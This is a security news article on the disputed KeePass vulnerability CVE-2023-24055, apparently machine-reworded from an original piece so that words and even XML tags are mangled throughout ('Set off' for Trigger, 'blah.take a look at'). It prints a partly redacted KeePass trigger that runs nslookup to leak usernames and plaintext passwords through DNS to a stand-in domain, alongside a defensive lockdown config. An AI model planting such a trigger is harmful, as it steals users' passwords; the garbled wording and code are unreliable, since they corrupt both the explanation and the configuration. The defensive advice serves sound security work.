February 14, 2025

It’s been a newsworthy few weeks for password managers – these helpful utilities that assist you to provide you with a special password for each web site you employ, after which to maintain observe of all of them.

On the finish of 2022, it was the flip of LastPass to be all around the information, when the corporate lastly admitted {that a} breach it suffered again in August 2022 did certainly find yourself with clients’ password vaults getting stolen from the cloud service the place they had been backed up.

(The passwords themselves weren’t stolen, as a result of the vaults had been encrypted, and LastPass didn’t have copies of anybody’s “grasp key” for the backup vault information themselves, but it surely was a better shave than most individuals had been comfortable to listen to.)

Then it was LifeLock’s flip to be all around the information, when the corporate warned about what seemed like a rash of password guessing assaults, in all probability primarily based on passwords stolen from a totally completely different web site, presumably a while in the past, and maybe bought on the darkish net not too long ago.

LifeLock itself hadn’t been breached, however a few of its customers had, due to password-sharing behaviour brought on by dangers they may not even keep in mind having taken.

Competitiors 1Password and BitWarden have been within the information not too long ago, too, primarily based on experiences of malicious adverts, apparently unwittingly aired by Google, that convincingly lured customers to duplicate logon pages aimed toward phishing their account particulars.

Now it’s KeePass’s flip to be in the news, this time for one more cybersecurity problem: an alleged vulnerability, the jargon time period used for software program bugs that result in cybersecurity holes that attackers may be capable to exploit for evil functions.

Password sniffing made simple

We’re referring to it as a vulnerability right here as a result of it does have an official bug identifier, issued by the US Nationwide Institute for Requirements and Expertise.

The bug has been dubbed CVE-2023-24055: Attacker who has write entry to the XML configuration file [can] receive the cleartext passwords by including an export set off.

The declare about with the ability to receive cleartext passwords, sadly, is true.

If I’ve write entry to your private information, together with your so-called %APPDATA% listing, I can sneakily tweak the configuration part to change any KeePass settings that you’ve already customised, or so as to add customisations for those who haven’t knowingly modified something…

…and I can surprisingly simply steal your plaintext passwords, both in bulk, for instance by dumping the entire database as an unencrypted CSV file, or as you employ them, for instance by setting a “program hook” that triggers each time you entry a password from the database.

Notice that I don’t want Administrator privileges, as a result of I don’t must mess with the precise set up listing the place the KeePass app will get saved, which is usually off-limits to common userse

And I don’t want entry to any locked-down world configuration settings.

Curiously, KeePass goes out of its approach to cease your passwords being sniffed out whenever you use them, together with utilizing tamper-protection methods to cease numerous anti-keylogger methods even from customers who have already got sysadmin powers.

However the KeePass software program additionally makes it surprisingly simple to seize plaintext password knowledge, maybe in methods you may contemplate “too simple”, even for non-administrators.

It was a minute’s work to make use of the KeePass GUI to create a Set off occasion to run each time you copy a password into the clipboard, and to set that occasion to do a DNS lookup that included each the username and the plaintext password in query:

We might then copy the not-terribly-obvious XML setting for that possibility out of our personal native configuration file into the configuration file of one other person on the system, after which they too would discover their passwords being leaked over the web through DNS lookups.

Although the XML configuration knowledge is essentially readable and informative, KeePass curiously makes use of random knowledge strings referred to as GUIDs (quick for globally distinctive identifiers) to indicate the varied Set off settings, in order that even a well-informed person would wish an in depth reference listing to make sense of which triggers are set, and the way.

Right here’s what our DNS-leaking set off seems to be like, although we redacted a few of the particulars so you may’t rise up to any instant mischief simply by copying-and-pasting this textual content immediately:


<Set off>
   <Guid>XXXXXXXXXXXXXXXXXXXX</Guid>
   <Title>Copy</Title>
   <Feedback>Steal stuff through DNS lookups</Feedback>
   <Occasions>
      <Occasion>
         <TypeGuid>XXXXXXXXXXXXXXXXXXXX</TypeGuid>
         <Parameters>
            <Parameter>0</Parameter>
            <Parameter />
         </Parameters>
      </Occasion>
   </Occasions>
   <Situations />
   <Actions>
      <Motion>
         <TypeGuid>XXXXXXXXXXXXXXXXXXXX</TypeGuid>
         <Parameters>
            <Parameter>nslookup</Parameter>
            <Parameter>XXXXX.XXXXX.blah.take a look at</Parameter>
            <Parameter>True</Parameter>
            <Parameter>1</Parameter>
            <Parameter />
         </Parameters>
      </Motion>
   </Actions>
</Set off>

With this set off energetic, accessing a KeePass password causes the plaintext to leak out in an unobtrusive DNS lookup to a site of my selection, which is blah.take a look at on this instance.

Notice that real-life attackers would virtually definitely scramble or obfuscate the stolen textual content, which might not solely make it more durable to identify when DNS leaks had been occurring, but in addition handle passwords containing non-ASCII characters, reminiscent of accented letters or emojis, that may’t in any other case be utilized in DNS names:

However is it actually a bug?

The difficult query, nonetheless, is, “Is that this actually a bug, or is it only a highly effective characteristic that could possibly be abused by somebody who would already want at the very least as a lot management over your non-public information as you might have your self?”

Merely put, is it a vulnerability if somebody who already has management of your account can mess with information that your account is meant to have the ability to entry anyway?

Although you may hope {that a} pssword supervisor would come with a number of further layers of tamper-protection to make it more durable for bugs/options of this kind to be abused, ought to CVE-2023-24055 actually be a CVE-listed vulnerability?

In that case, wouldn’t instructions reminiscent of DEL (delete a file) and FORMAT must be “bugs”, too?

And wouldn’t the very existence of PowerShell, which makes probably harmful behaviour a lot simpler to impress (strive powerhsell get-clipboard, for example), be a vulnerability all of its personal?

That’s KeePass’s place, acknowledged by the next textual content that has been added to the “bug” detail on NIST’s web site:

** DISPUTED ** […] NOTE: the seller’s place is that the password database isn’t supposed to be safe towards an attacker who has that stage of entry to the native PC.

What to do?

In case you’re a standalone KeePass person, you may verify for rogue Triggers just like the “DNS Stealer” we created above by opening the KeePass app and skimming the Instruments > Triggers… window:

Notice you could flip the whole Set off system off from this window, just by deslecting the [ ] Allow set off system possibility…

…however that isn’t a world setting, so it may be turned again on once more through your native configuration file, and subsequently solely protects you from errors, reasonably than from an attacker with entry to your account.

You’ll be able to pressure the choice off for everybody on the pc, with no possibility for them to show it again on themselves, by modifying the worldwide “lockdown” file KeePass.config.enforced.XML, discovered within the listing the place the app program itself is intalled.

Triggers will probably be pressured off for everybody in case your world XML enforcement file seems to be like this:


<?xml model="1.0" encoding="utf-8"?>
<Configuration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
   <Software>
      <TriggerSystem>
         <Enabled>false</Enabled>
      </TriggerSystem>
   </Software>
</Configuration>

(In case you’re questioning, an attacker who has write entry to the appliance listing to reverse this variation would virtually definitely have sufficient system-level energy to change the KeePass executable file itself, or to put in and activate a standalone keylogger anyway.)

In case you’re a community administrator tasked with locking down KeePass in your customers’ computer systems in order that it’s nonetheless versatile sufficient to assist them, however not versatile sufficient for them to assist cybercriminals by mistake, we advocate studying by means of the KeePass Security Issues web page, the Triggers web page, and the Enforced Configuration web page.